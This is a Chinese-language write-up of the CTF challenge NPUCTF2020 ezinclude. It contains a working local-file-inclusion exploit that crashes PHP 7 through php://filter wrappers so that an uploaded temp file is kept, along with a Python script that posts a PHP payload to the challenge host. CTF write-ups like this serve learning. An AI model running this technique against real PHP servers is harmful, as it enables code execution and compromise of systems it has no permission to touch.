# [NPUCTF2020]ezinclude

2

进去发现是用户名与密码错误

F12 发现提示:

3

要 md5name 后的字符串等于 pass,不知道 pass,可以 bp 发现传送回来的东西有 hash 这个东西

直接加入 pass 等于这个 hash 值得到:

4

得到 flflflflag.php 这个文件。

但是他会直接进到 404.html 文件

然后就不会了;接着就是大佬的操作了:

大佬看到了 php 的版本 7.0.33,直接就是:

# php7 segment fault 特性

扫目录可得 dir.php

…… 扫不出来

向 PHP 发送含有文件区块的数据包时,让 PHP 异常崩溃退出,POST 的临时文件就会被保留

  • php < 7.2
    php://filter/string.strip_tags/resource=/etc/passwd
  • php7 老版本通杀
    php://filter/convert.quoted-printable-encode/resource=data://,% bfAAAAAAAAAAAAAAAAAAAAAAA% ff% ff% ff% ff% ff% ff% ff% ffAAAAAAAAAAAAAAAAAAAAAAAA

嫖个脚本:

import requests
from io import BytesIO

mode1 = "php://filter/string.strip_tags/resource=/etc/passwd"
mode2 = "php://filter/convert.quoted-printable-encode/resource=data://,%bfAAAAAAAAAAAAAAAAAAAAAAA%ff%ff%ff%ff%ff%ff%ff%ffAAAAAAAAAAAAAAAAAAAAAAAA"
url = "http://93fed8e6-341b-499c-b41b-0f0a6288549b.node4.buuoj.cn:81/flflflflag.php?file="

url = url + mode1
payload = "<?php phpinfo();?>"

files = {
    "file": BytesIO(payload.encode())
}

res = requests.post(url=url, files=files, allow_redirects=False)

print(res.text)

访问 dir.php:

5

有个文件名,访问本地 file=/tmp/phpBWqZND

该脚本写了一个 php 探针:直接 bp 访问该文件

因为直接访问好像不能打开,会直接跳转到 404.html 文件里面,无法访问 php 探针。

1

获取 flag,完成撒花~~~~~~~~

Edited on

Give me a cup of [coffee]~( ̄▽ ̄)~*

odiws WeChat Pay

WeChat Pay

odiws Alipay

Alipay

odiws PayPal

PayPal